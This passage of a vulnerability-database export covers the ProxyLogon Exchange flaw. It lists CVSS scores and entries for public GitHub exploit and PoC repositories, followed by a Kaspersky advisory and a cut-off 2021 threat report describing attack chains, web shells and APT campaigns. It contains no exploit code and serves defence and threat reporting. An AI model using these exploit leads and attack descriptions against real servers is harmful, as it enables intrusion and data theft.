"obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855"], "modified": "2022-07-21T15:50:38", "id": "3019C843-FE2F-527C-B7C1-14A1C3066721", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-14T13:06:24", "description": "# CVE-2021-26855\nPoC of proxylogon chain SSRF(CVE-2021-26855) to...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-11T20:51:48", "type": "githubexploit", "title": "Exploit for Server-Side Request Forgery in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855"], "modified": "2022-07-14T10:32:08", "id": "0DE16A64-9ACA-5BBE-A315-A3AE1B013900", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-20T23:32:16", "description": "# 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Request Forgery in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855"], "modified": "2022-07-05T07:21:07", "id": "13364575-934B-5E73-AA03-AEB6910F6AD2", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-08-09T16:56:27", "description": "# Microsoft_Exchange_Server_SSRF_CVE-2021-26855\n\n**zoomeye dork\uff1a...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": 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["CVE-2021-26855"], "modified": "2022-08-09T05:55:45", "id": "7F4F3321-8955-51B4-B195-7C1F647A6C84", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-13T18:44:23", "description": "# ExchangeWeaknessTest\n\nThis script test the CVE...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-09T09:40:29", "type": "githubexploit", "title": "Exploit for Server-Side Request Forgery in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855"], "modified": "2021-03-09T09:43:55", "id": "7758268F-2004-536A-B51F-62DA1E5A992D", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-08-04T01:37:18", "description": "# proxylogon\nmy exploit for the proxylogon chain (Microsoft Exch...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-14T13:04:07", "type": "githubexploit", "title": "Exploit for Server-Side Request Forgery in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855"], "modified": "2022-08-03T23:25:44", "id": "7C80631A-74CB-54F0-BC26-01EEF7D52760", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-13T18:44:28", "description": "# ProxyLogon-CVE-2021-26855\nRCE exploit for ProxyLogon vulnerabi...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-14T22:57:21", "type": "githubexploit", "title": "Exploit for Server-Side Request Forgery in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855"], "modified": "2021-11-25T15:13:15", "id": "4E59AAA3-7DBF-5E34-BD91-8F83E0E65CEB", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-12-01T03:28:07", "description": "# poc_proxylogon\nMicrosoft Exchange ProxyLogon PoC (CVE-2021-268...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-12-04T22:38:30", "type": "githubexploit", "title": "Exploit for Server-Side Request Forgery in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855"], "modified": "2022-11-30T23:53:53", "id": "81FEB23C-D090-5CE8-9B92-00BE597DE052", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-13T18:45:03", "description": "# CVE-2021-26855-Scanner\nScanner and PoC for CVE-2021-26855 \n\nCr...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-12T12:47:41", "type": "githubexploit", "title": "Exploit for Server-Side Request Forgery in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855"], "modified": "2021-12-29T15:00:52", "id": "798FA73D-8AE9-55E5-9D2F-4CC9D9477DD9", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-08-14T14:30:56", "description": "# CVE-2021-26855_Exchange RCE\n\n> **\u672c\u6587\u4ee5\u53ca\u5de5\u5177...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-18T00:44:29", "type": "githubexploit", "title": "Exploit for Server-Side Request Forgery in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855"], "modified": "2022-08-14T07:03:16", "id": "71E27C48-EAFE-5FC0-98A4-BE7276D47449", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-13T18:44:26", "description": "# CVE-2021-26855-SSRF-Exchange\nCVE-2021-26855 SSRF Exchange Serv...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-07T00:55:16", "type": "githubexploit", "title": "Exploit for Server-Side Request Forgery in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855"], "modified": "2021-12-15T14:41:36", "id": "64D0ED0A-E1C0-57F4-B874-CAB63E7D858C", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-09-22T20:51:16", "description": "# proxylogon\nmy exploit for the proxylogon chain (Microsoft Exch...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-06-24T17:42:28", "type": "githubexploit", "title": "Exploit for Server-Side Request Forgery in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855"], "modified": "2022-06-24T17:42:46", "id": "4FD3A97A-9BE6-5A1E-AE21-241CC188CDE7", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-03-06T10:03:57", "description": "# check-your-pulse #\n\n[\n\n## What happened?\n\nOn March 2, 2021 several companies [released](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>) [reports](<https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/>) about in-the-wild exploitation of zero-day vulnerabilities inside Microsoft Exchange Server. The following vulnerabilities allow an attacker to compromise a vulnerable Microsoft Exchange Server. As a result, an attacker will gain access to all registered email accounts, or be able to execute arbitrary code (remote code execution or RCE) within the Exchange Server context. In the latter case, the attacker will also be able to achieve persistence on the infected server.\n\nA total of four vulnerabilities were uncovered:\n\n 1. [CVE-2021-26855](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855>). Server-side request forgery (SSRF) allows an attacker without authorization to query the server with a specially constructed request that will cause remote code execution. The exploited server will then forward the query to another destination. \n 2. [CVE-2021-26857](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857>) caused by unsafe data deserialization inside the Unified Messaging service. Potentially allows an attacker to execute arbitrary code (RCE). As a result of insufficient control over user files, an attacker is able to forge a body of data query, and trick the high-privilege service into executing the code.\n 3. [CVE-2021-26858](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858>). This vulnerability allows an authorized Exchange user to overwrite any existing file inside the system with their own data. To do so, the attacker has to compromise administrative credentials or exploit another vulnerability such as SSRF CVE-2021-26855.\n 4. [CVE-2021-27065](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065>) is similar to CVE-2021-26858 and allows an authorized attacker to overwrite any system file on the Exchange server. \n\nKaspersky [Threat Intelligence](<https://www.kaspersky.com/enterprise-security/threat-intelligence>) shows that these vulnerabilities are already used by cybercriminals around the world.\n\n_Geography of attacks with mentioned MS Exchange vulnerabilities (based on KSN statistics) ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/03/04171325/microsoft_exchange_expoit_map.png>))_\n\nWe predict with a high degree of confidence that this is just the beginning, and we anticipate numerous exploitation attempts with the purpose of gaining access to resources inside corporate perimeters. Furthermore, we should note that there is typically a high risk of [ransomware](<https://securelist.com/targeted-ransomware-encrypting-data/99255/>) infection and/or data theft connected to such attacks. \n\n## How to protect against this threat?\n\nOur products protect against this threat with [Behavior Detection](<https://www.kaspersky.com/enterprise-security/wiki-section/products/behavior-based-protection>) and [Exploit Prevention](<https://www.kaspersky.com/enterprise-security/wiki-section/products/exploit-prevention>) components and detect exploitation with the following verdict: PDM:Exploit.Win32.Generic \nWe detect the relevant exploits with the following detection names:\n\n * Exploit.Win32.CVE-2021-26857.gen\n * HEUR:Exploit.Win32.CVE-2021-26857.a\n\nWe also detect and block the payloads (backdoors) being used in the exploitation of these vulnerabilities, according to our Threat Intelligence. Possible detection names are (but not limited to):\n\n * HEUR:Trojan.ASP.Webshell.gen\n * HEUR:Backdoor.ASP.WebShell.gen\n * UDS:DangerousObject.Multi.Generic\n\nWe are actively monitoring the situation and additional detection logic will be released with updatable databases when required.\n\nOur [Endpoint Detection and Response](<https://www.kaspersky.com/enterprise-security/endpoint-detection-response-edr>) helps to identify attacks in early stages by marking such suspicious actions with special IoA tags (and creating corresponding alerts). For example, this is an example of Powershell started by IIS Worker process (w3wp.exe) as a result of vulnerability exploitation: \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/03/07094546/microsoft_exchange_expoit_edr.png>)\n\nOur [Managed Detection and Response](<https://www.kaspersky.com/enterprise-security/managed-detection-and-response>) service is also able to identify and stop this attack by using threat hunting rules to spot the exploitation itself, as well as possible payload activity.\n\nAnd the thorough research of the attack will soon be available within APT Intelligence Reporting service, please contact [intelreports@kaspersky.com](<mailto:intelreports@kaspersky.com>) for details.\n\n## Recommendations\n\n * As Microsoft has already released an update to fix all these vulnerabilities, we strongly recommend updating Exchange Server as soon as possible.\n * Focus your defense strategy on detecting lateral movements and data exfiltration to the internet. Pay special attention to outgoing traffic to detect cybercriminal connections. Back up data regularly. Make sure you can quickly access it in an emergency.\n * Use solutions like [Kaspersky Endpoint Detection and Response](<https://www.kaspersky.com/enterprise-security/endpoint-detection-response-edr>) and the [Kaspersky Managed Detection and Response](<https://www.kaspersky.com/enterprise-security/managed-detection-and-response>) service which help to identify and stop the attack in the early stages, before the attackers achieve their goals.\n * Use a reliable endpoint security solution such as Kaspersky Endpoint Security for Business that is powered by exploit prevention, behavior detection and a remediation engine that is able to roll back malicious actions. KESB also has self-defense mechanisms that can prevent its removal by cybercriminals.", "cvss3": {}, "published": "2021-03-04T17:20:57", "type": "securelist", "title": "Zero-day vulnerabilities in Microsoft Exchange Server", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-03-04T17:20:57", "id": "SECURELIST:403B2D76CFDBDAB0862F6860A95E54B4", "href": "https://securelist.com/zero-day-vulnerabilities-in-microsoft-exchange-server/101096/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-05-31T11:03:47", "description": "\n\n## Targeted attacks\n\n### Putting the 'A' into APT\n\nIn December, SolarWinds, a well-known IT managed services provider, fell victim to a sophisticated supply-chain attack. The company's Orion IT, a solution for monitoring and managing customers' IT infrastructure, was compromised by threat actors. This resulted in the deployment of a custom backdoor, named Sunburst, on the networks of more than 18,000 SolarWinds customers, including many large corporations and government bodies, in North America, Europe, the Middle East and Asia.\n\nOne thing that sets this campaign apart from others, is the peculiar victim profiling and validation scheme. Out of the 18,000 Orion IT customers affected by the malware, it seems that only a handful were of interest to the attackers. This was a sophisticated attack that employed several methods to try to remain undetected for as long as possible. For example, before making the first internet connection to its C2s, the Sunburst malware lies dormant for up to two weeks, preventing easy detection of this behaviour in sandboxes. In [our initial report on Sunburst](<https://securelist.com/sunburst-connecting-the-dots-in-the-dns-requests/99862/>), we examined the method used by the malware to communicate with its C2 (command-and-control) server and the protocol used to upgrade victims for further exploitation.\n\nFurther investigation of the Sunburst backdoor revealed several [features that overlap with a previously identified backdoor known as Kazuar](<https://securelist.com/sunburst-backdoor-kazuar/99981/>), a .NET backdoor first reported in 2017 and tentatively linked to the Turla APT group.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/01/08095035/Sunburst_backdoor_Kazuar_01.png>)\n\nThe shared features between Sunburst and Kazuar include the victim UID generation algorithm, code similarities in the initial sleep algorithm and the extensive usage of the FNV1a hash to obfuscate string comparisons. There are several possibilities: Sunburst may have been developed by the same group as Kazuar; the developers of Sunburst may have adopted some ideas or code from Kazuar; both groups obtained their malware from the same source; some Kazuar developers moved to another team, taking knowledge and tools with them; or the developers of Sunburst introduced these links as a form of false flag. Hopefully, further analysis will make things clearer.\n\n### Lazarus targets the defence industry\n\nWe have observed numerous activities of the Lazarus group over many years, with the threat actor changing targets depending on its objectives. Over the last two years, we have tracked Lazarus's use of ThreatNeedle, an advanced malware cluster of Manuscrypt (aka NukeSped), to target several industries. While investigating [attacks on the defense industry](<https://securelist.com/lazarus-threatneedle/100803/>) in mid-2020, we were able to observe the complete life-cycle of an attack, uncovering more technical details and links to the group's other campaigns.\n\nLazarus made use of COVID-19 themes in its spear-phishing emails, embellishing them with personal information gathered using publicly available sources. Once the victim opens an infected document and agrees to enable macros, the malware is dropped onto the system and proceeds to a multi-stage deployment procedure.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/02/18145116/lazarus_threatneedle_07.png>)\n\nAfter gaining an initial foothold, the attackers gathered credentials and moved laterally, seeking crucial assets in the victim's environment. They overcame network segmentation by gaining access to an internal router machine and configuring it as a proxy server, allowing them to exfiltrate stolen data from the victim's intranet to their remote server.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/02/24163703/lazarus_threatneedle_09.png>)[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/02/24164015/lazarus_threatneedle_12.png>)\n\nWe have been tracking ThreatNeedle malware for more than two years and are highly confident that this malware cluster is attributed only to the Lazarus group. During this investigation, we were able to find connections to several other clusters belonging to the Lazarus group.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/02/18145822/lazarus_threatneedle_19.png>)\n\n### MS Exchange zero-day vulnerabilities exploited in the wild\n\nOn March 2, Microsoft released [out-of-band patches for four zero-day vulnerabilities in Exchange Server](<https://techcommunity.microsoft.com/t5/exchange-team-blog/released-march-2021-exchange-server-security-updates/ba-p/2175901>) that are being actively exploited in the wild (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 and CVE-2021-27065). The vulnerabilities allow an attacker to gain access to an Exchange server, create a web shell for remote server access and steal data from the victim's network.\n\nMicrosoft attributed the attacks to a threat actor called Hafnium, although other researchers have reported that there are also [other groups exploiting the vulnerabilities to launch attacks](<https://threatpost.com/microsoft-exchange-servers-apt-attack/164695/>).\n\nOur [threat intelligence](<https://www.kaspersky.com/enterprise-security/threat-intelligence>) indicates that companies across the globe have been targeted in attacks that exploit these vulnerabilities \u2013 with the greatest focus on Europe and the US.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/03/04171325/microsoft_exchange_expoit_map.png>)Kaspersky products protect against this threat with [behavior-based detection](<https://www.kaspersky.com/enterprise-security/wiki-section/products/behavior-based-protection>) and [exploit prevention](<https://www.kaspersky.com/enterprise-security/wiki-section/products/exploit-prevention>) components. We also detect and block the backdoors used in the exploitation of these vulnerabilities. Our EDR ([Endpoint Detection and Response](<https://www.kaspersky.com/enterprise-security/endpoint-detection-response-edr>)) solution helps to identify attacks in the early stages by marking suspicious actions with special IoA (Indicators of Attack) tags and by creating corresponding alerts.\n\nOur recommendations for staying safe from attacks using these vulnerabilities can be found [here](<https://securelist.com/zero-day-vulnerabilities-in-microsoft-exchange-server/101096/>).\n\n### Ecipekac: sophisticated multi-layered loader discovered in A41APT campaign\n\nA41APT is a long-running campaign, active from March 2019 to the end of December 2020, that has targeted multiple industries, including Japanese manufacturing and its overseas bases. We believe, with high confidence, that the threat actor behind this campaign is APT10.\n\nOne particular piece of malware from this campaign is called Ecipekac (aka DESLoader, SigLoader, and HEAVYHAND). It is a very sophisticated multi-layer loader module used to deliver payloads such as SodaMaster, P8RAT, and FYAnti which in turn loads QuasarRAT.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/03/25134233/APT10_and_the_A41_APT_campaign_14.png>)The operations and implants of the campaign are remarkably stealthy, making it difficult to track the threat actor's activities. The threat actor behind the campaign implements several measures to conceal itself and make it more difficult to analyze. Most of the malware families used in the campaign are fileless malware and have not been seen before.\n\nWe believe that the most significant aspect of the Ecipekac malware is that the encrypted shellcodes are inserted into digitally signed DLLs without affecting the validity of the digital signature.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/03/25132856/APT10_and_the_A41_APT_campaign_05.png>)\n\nWhen this technique is used, some security solutions cannot detect these implants. Judging from the main features of the P8RAT and SodaMaster backdoors, we believe these modules are downloaders responsible for downloading further malware which we have so far been unable to obtain.\n\nYou can find out more about the campaign [here](<https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/>).\n\n## Other malware\n\n### Fake ad blocker, with miner included\n\nSome time ago, we discovered a number of fake applications being used to deliver a Monero crypto-currency miner to target computers. The fake programs are distributed through malicious websites that may be listed in the victim's search results. We believe this is a continuation of [a campaign last summer, reported by Avast](<https://blog.avast.com/fake-malwarebytes-installation-files-distributing-coinminer>), in which the malware masqueraded as the Malwarebytes antivirus installer. In [the latest campaign](<https://securelist.com/ad-blocker-with-miner-included/101105/>), we observed the malware impersonating several applications: the ad blockers AdShield and Netshield, as well as the OpenDNS service.\n\nOnce the victim has started the program, it changes the DNS settings on the device so that all domains are resolved through the attackers' servers: this prevents the victim from accessing certain antivirus sites. The malware then updates itself: the update also downloads and runs a modified Transmission torrent client, which sends the ID of the targeted computer, along with installation details, to the C2 server. It then downloads and installs the miner.\n\nData from Kaspersky Security Network showed that, from February 2021 until the time we published our report, there were attempts to install fake applications on the devices of more than 7,000 people. At the peak of the current campaign, more than 2,500 people were attacked each day, with most victims located in Russia and CIS countries. \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/03/05122816/01-en-ru-fake-adshield-miner-diagram.png>)\n\n### Ransomware encrypting virtual hard disks\n\nRansomware gangs are exploiting vulnerabilities in VMware ESXi to target virtual hard disks and encrypt the data stored on them. The ESXi hypervisor lets multiple virtual machines store information on a single server using the SLP (Service Layer Protocol).\n\nThe first vulnerability ([CVE-2019-5544](<https://www.vmware.com/security/advisories/VMSA-2019-0022.html>)) can be used to carry out [heap overflow attacks](<https://encyclopedia.kaspersky.com/glossary/heap-overflow-attack/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>). The second ([CVE-2020-3992](<https://www.vmware.com/security/advisories/VMSA-2020-0023.html>)) is a [Use-After-Free (UAF) vulnerability](<https://encyclopedia.kaspersky.com/glossary/use-after-free/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>) related to the incorrect use of dynamic memory during program operation. Once attackers have been able to gain an initial foothold in the target network, they can use the vulnerabilities to generate malicious SLP requests and compromise data storage.\n\nThe vulnerabilities are being exploited by [RansomExx](<https://www.kaspersky.com/blog/ransomware-in-virtual-environment/39150/>). The [Darkside](<https://www.infosecurity-magazine.com/news/darkside-20-ransomware-fastest/>) group is reportedly using the same approach; and the attackers behind the [BabuLocker Trojan](<https://twitter.com/campuscodi/status/1354237766285012992>) have also hinted that they are able to encrypt ESXi.\n\n### macOS developments\n\nTowards the end of last year, Apple unveiled machines powered by its own M1 chip, designed to replace Intel's processors in its computers. The Apple M1, a direct relative of the processors used in the iPhone and iPad, will ultimately allow Apple to unify its software under a single architecture.\n\nJust a few months after the release of the first Apple M1 computers, malware writers had already recompiled their code to adapt it to the new 